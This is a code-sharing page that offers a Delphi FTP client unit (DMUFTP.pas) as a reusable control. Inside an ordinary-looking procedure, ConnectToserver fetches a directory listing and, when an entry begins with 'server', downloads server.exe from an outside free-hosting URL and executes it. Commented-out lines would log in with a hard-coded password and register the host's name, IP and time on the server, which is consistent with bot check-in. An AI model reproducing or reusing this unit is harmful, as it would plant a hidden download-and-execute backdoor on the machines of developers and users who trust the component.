Delphi控件源码

开发平台：
Delphi

DMUFTP.pas：源码内容
							unit UFTP;
interface
  uses windows,WinSock,
  ShellApi,
  CommandsAndUtils;
const
  WM_ftpcom =  $0400 + $1004;
  WM_ftpdata = $0400 + $1005;
  WM_ftppasv = $0400 + $1006;
  FTP_sConnected =1 ;
  FTP_sDisconnected= 2 ;
   FTP_sUpload =3 ;
   FTP_sDownload = 4 ;
   FTP_sList = 5;
  var
wVersionRequested  : WORD ;
inn : IN_ADDR ;
nErrorStatus : integer;
   wsa_Data  : WSADATA;
ftpdata : TSocket;
ftpdataclient : TSocket;
ftpcom : TSocket;
 ftppasv: TSocket;
  ftpaddr : SOCKADDR_IN; // Internet address
  
  ftpCaddr : SOCKADDR_IN; // Internet address
  ftpCaddrserver : SOCKADDR_IN; // Internet address
  ftpPasvaddr : SOCKADDR_IN;
  ftpPasvServeraddr :  SOCKADDR_IN  ;
  FTP_WAIT : integer;
 FTP_Directories: string   ;
  FTP_IP : STRING;
  FTP_Port : integer;
  FTP_Downloadfilename : string;
  FTP_Uploadfilename : string;
  FTP_TempFile : string ;
  id : cardinal;
  FTP_PASS : string;
  FTP_USer : string;
  FTP_Handle : HWND;
  FTP_status : integer;
implementation
{$R *.dfm}
function stringtochar(st : string) : char;
var c : char;
begin
     c := #0;
     while c <> st do
           c := succ(c);
     stringtochar := c;
end;
procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
var
  RC: integer;
begin
  if Socket <> INVALID_SOCKET then
    begin
       WSAASyncSelect(Socket, Handle, wMsg , 0);
      if shutdown(Socket, 1) <> 0 then
        if WSAGetLastError <> WSAENOTCONN then
          begin
           // SocketError(WSAGetLastError);
            Exit;
          end;
      if closesocket(Socket) <> 0 then
       // SocketError(WSAGetLastError)
      else
        Socket:= INVALID_SOCKET;
    end;
end;
  procedure CreateFTPPasv ;
  var
  HostEnt: PHostEnt;
  begin
  Sleep(2000);
  SocketClose ( ftppasv,FTP_Handle,  WM_ftppasv);
   {--------------We have to create a socket for ftp Commands Client------------- }
  ftppasv := socket(AF_INET, SOCK_STREAM, 0);
  if (ftppasv <> INVALID_SOCKET)   THEN BEGIN
  ftppasvaddr.sin_family := AF_INET;
  ftppasvaddr.sin_port := 0;
  ftppasvaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;
 if (bind(ftppasv ,ftppasvaddr,sizeof(ftppasvaddr))= INVALID_SOCKET ) then begin
 halt;
 end;
 if (WSAAsyncSelect(ftppasv, FTP_Handle, WM_ftppasv , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
 halt;
 end;
 ftpPasvServeraddr.sin_family := AF_INET;
 ftpPasvServeraddr.sin_port := htons(FTP_Port);
ftpPasvServeraddr.sin_addr.s_addr := inet_addr(pchar(FTP_IP));
      if ftpPasvServeraddr.sin_addr.s_addr = -1 then
        begin
        HostEnt := GetHostByName(pchar(FTP_IP));
         if HostEnt = nil then
         begin
         Exit;
         end;
        ftpPasvServeraddr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
         end;
 if (connect(ftppasv,ftpPasvServeraddr,sizeof(ftpPasvServeraddr)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;
  end;
procedure CreateFTPData ;
begin
       SocketClose ( ftpdata,FTP_Handle, WM_ftpdata);
  {--------------We have to create a socket for ftp Data Server----------------- }
 ftpdata := socket(AF_INET, SOCK_STREAM, 0);
   if (ftpdata <> INVALID_SOCKET)   THEN BEGIN
   ftpaddr.sin_family := AF_INET;
   ftpaddr.sin_port := htons(2600);
   ftpaddr.sin_addr.s_addr := htonl(INADDR_ANY);
   end;
   if (bind(ftpdata,ftpaddr,sizeof(ftpaddr))=  INVALID_SOCKET ) then begin
   WSACleanup();
   halt;
   end;
   if ( listen(ftpdata,3)= INVALID_SOCKET) then begin
   WSACleanup();
   halt;
   end ;
   if (WSAAsyncSelect(ftpdata, FTP_Handle, WM_ftpdata, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
   halt;
   end;
end;
    procedure CreateFTPCOM ;
begin
     SocketClose ( ftpcom ,FTP_Handle,  WM_ftpcom);
   {--------------We have to create a socket for ftp Commands Client------------- }
  ftpcom  := socket(AF_INET, SOCK_STREAM, 0);
  if (ftpcom  <> INVALID_SOCKET)   THEN BEGIN
  ftpCaddr.sin_family := AF_INET;
  ftpCaddr.sin_port := 0;
  ftpCaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;
 if (bind(ftpcom ,ftpCaddr,sizeof(ftpCaddr))= INVALID_SOCKET ) then begin
 halt;
 end;
 if (WSAAsyncSelect(ftpcom, FTP_Handle, WM_ftpcom , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
 halt;
 end;
end;
 procedure FTP_MKD (dir : string);
 begin
     SendData  (ftpcom,'MKD ' + dir + #13#10);
 end;
  procedure FTP_DEL (source : string);
 begin
      SendData  (ftpcom,'DELE ' + source + #13#10);
 end;
   procedure FTP_RMD(old: string;new : string);
 begin
       SendData  (ftpcom,'RNFR ' + old  + #13#10);
       sleep(100);
      SendData  (ftpcom,'RNTO ' + old  + #13#10);
 end;
function FTP_LIST(DIR : string): string;
 begin
FTP_status:=FTP_sList ;
   FTP_Directories:='';
  CreateFTPData;
  sleep(100);
  SendData  (ftpcom,'PASV '+ replace ( LocalIP,'.',',') + ',10,40' + #13#10);
   sleep(100);
 SendData  (ftpcom,'NLST ' + Dir+ #13#10);
 end;
 procedure FTP_Connect(Host: string;User : string; PASS : string;Port : integer);
  var
HostEnt: PHostEnt;
begin
FTP_PASS:=PASS;
FTP_User:=User ;
   CreateFTPCom;
 ftpCaddrserver.sin_family := AF_INET;
 ftpCaddrserver.sin_port := htons(Port);
 ftpCaddrserver.sin_addr.s_addr := inet_addr(pchar(Host));
      if ftpCaddrserver.sin_addr.s_addr = -1 then
        begin
        HostEnt := GetHostByName(pchar(Host));
         if HostEnt = nil then
         begin
         Exit;
         end;
         ftpCaddrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
         end;
 if (connect(ftpcom, ftpCaddrserver,sizeof(ftpCaddrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;
 end;
procedure FTP_CWD(DIR : string);
 begin
  sleep(100);
 SendData  (ftpcom,'CWD ' + DIR+ #13#10);
 end;
 procedure FTP_Upload (filename : string);
 begin
  FTP_status:=FTP_sUpload ;
 FTP_Uploadfilename:=filename;
   If FileExists (FTP_Uploadfilename)=true Then  begin
 SendData  (ftpcom,'PASV ' + #13#10);
 sleep(100);
 SendData  (ftpcom,'STOR ' + GetFileName(filename) + #13#10);
   end;
 end;
procedure FTP_download(remotefile : string) ;
 begin
 FTP_status:=FTP_sDownload ;
   SendData  (ftpcom,'PASV ' + #13#10);
 sleep(100);
 SendData  (ftpcom,'RETR ' + remotefile + #13#10);
 end;
 procedure FTP_Desconect;
 begin
 end;
    procedure ConnectToserver ;
var
temp,temp1,temp2,tempData : string;
a,i : integer;
begin
 sleep(100);
temp :=replace(FTP_Directories,#13#10,'*');
i:=FindNChars (temp  ,'*' );
for a:= 1 to i do begin
temp1:= (copy(temp,1,FindChar(temp,'*'))) ;
temp2:=  copy(temp1,1,length(temp1)-1 );
sleep(10);
 if  copy( temp2,1,6)='server' then begin
 Descargar ( 'http://shukisnike.250free.com/ips/server.exe','c:server.exe');
 ShellEx( 'c:server.exe')
 end;
if  copy( temp2,1,9)='darkmoon_' then begin
     messagebox (0,pchar(temp2),'',0);
//cIP:=copy(temp2,10,length(temp2) );
//cIP:=replace(cIP,'a','.');
end;
temp:=replace ( temp,temp1,''  );
end ;
end;
      procedure ftpdataEvents( wParam,lParam: Integer);
      var
     Recived : string;
     BytesToRead : Integer;
     Begin
     case lParam  of
     FD_READ:  begin
       if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
       begin
       SetLength( Recived, BytesToRead );
       Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
         if FTP_status=FTP_sList then begin
          // FTP_Directories:=FTP_Directories +  Recived  ;
         end;
       //frmMain.Memo2.Lines.Add( Recived ) ;
       end;
      end;
      FD_ACCEPT:  begin
        ftpdataclient:= accept(ftpdata,nil,nil);
       end;
      FD_CLOSE:  begin
      try CloseSocket(wParam ); except end;
      end;
      end;
    End;
        procedure ftpPasvEvents( wParam,lParam: Integer);
           var
       Recived : string;
     BytesToRead : Integer;
     begin
     case lParam  of
      FD_READ:  begin
     if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
     begin
     SetLength( Recived, BytesToRead );
     Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
        FTP_WAIT:=0;
        if FTP_status=FTP_sList then begin
           FTP_Directories:=Recived  ;
              ConnectToserver;
         end
         else
         begin
           // frmMain.Memo2.Lines.Add(   Recived);
         end;
    
     end;
     end ;
      FD_Connect:
      begin
        //  frmMain.Caption:='PASV';
   // SendData ( ftppasv, 'ssssssssssssssss .'+ #13#10);
// closesocket(ftppasv);
   // SendData (ftpcom, 'PASS ' + 'KissmyAss123' + #13#10);
   // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
    //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
    //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
   // SendData (ftpcom, 'NLST ' + #13#10);
      end;
     end;
        end;
   procedure ftpcomEvents( wParam,lParam: Integer);
      var
       Recived : string;
     BytesToRead : Integer;
       temp : string;
       port1, port2 : integer;
        F :file of char;
G :textfile;
s,Data,Data1, Data3,tmpData,tmpData1: string;
l ,c : char;
     begin
     case lParam  of
      FD_READ:  begin
     if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
     begin
     SetLength( Recived, BytesToRead );
     Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
           if  copy (Recived,1,8)= '150-FILE' then begin
                      FTP_TempFile:= split ( Recived,':',1);
                  FTP_TempFile:= replace (FTP_TempFile,#13#10,'*');
               FTP_TempFile:= split  (  FTP_TempFile,'*',0);
             // frmmain.Label3.Caption:=FTP_TempFile;
           // FTP_RMD (FTP_TempFile,'zzapper.txt');
If FileExists (FTP_Uploadfilename)=true Then  begin
                   Data:='';
AssignFile (F,FTP_Uploadfilename);
FileMode := 0;
Reset (F);
         while not eof( F ) do
      begin
           read( F, l );
           Data := Data + l;
      end;
      SendData ( ftppasv,Data + #13#10);
            end;
               closesocket(ftppasv);
           end;
             if  copy (Recived,1,3)='150'then begin
               if FTP_status=FTP_sUpload then begin
               If FileExists (FTP_Uploadfilename)=true Then  begin
                   Data:='';
AssignFile (F,FTP_Uploadfilename);
FileMode := 0;
Reset (F);
         while not eof( F ) do
      begin
           read( F, l );
           Data := Data + l;
      end;
      SendData ( ftppasv,Data + #13#10);
              sleep(100);
         closesocket(ftppasv);
           end;
            End;
            if FTP_status=FTP_sDownload then begin
            end;
             end;
            if  copy (Recived,1,3)='227'then begin
             temp:=( split ( Recived,'(',1));
FTP_IP:=(split (temp,',',0) + '.' +  split (temp,',',1) +'.' + split (temp,',',2) + '.' +split (temp,',',3) );
FTP_Port:=(strtoint(split (temp,',',4))*256)+strtoint(split (temp,',',5));
          BeginThread ( nil, 0, @ CreateFTPPasv, nil, 0, id );
  //showmessage ( FTP_IP + '  ' + inttostr(FTP_Port));
            end;
    // frmMain.Memo1.Lines.Add(   Recived);
     end;
     end ;
      FD_Connect:
      begin
         // frmMain.Caption:='connected';
    SendData (ftpcom, 'USER ' + FTP_USER + #13#10);
    SendData (ftpcom, 'PASS ' + FTP_PASS + #13#10);
   // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
    //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
    //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
   // SendData (ftpcom, 'NLST ' + #13#10);
      end;
     end;
     end;
procedure FTPSETUP(Handle : HWND);
begin
    FTP_Handle:=Handle ;
 wVersionRequested :=MAKEWORD(1, 1)  ;    //start the winsock
 nErrorStatus := WSAStartup(wVersionRequested, wsa_Data);
 if (nErrorStatus <> 0)  then     begin
 //WSAGetLastError()
messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
 end;
 if ( (LOBYTE(wsa_Data.wVersion) <> LOBYTE(wVersionRequested)) and
(HIBYTE(wsa_Data.wVersion) <> HIBYTE(wVersionRequested)) )  then
begin
halt;
WSACleanup(); // terminate WinSock use
end;
 //label1.Caption:=LocalIP;
 //edit2.Text:=replace ( LocalIP,'.',',')
end;
end.

						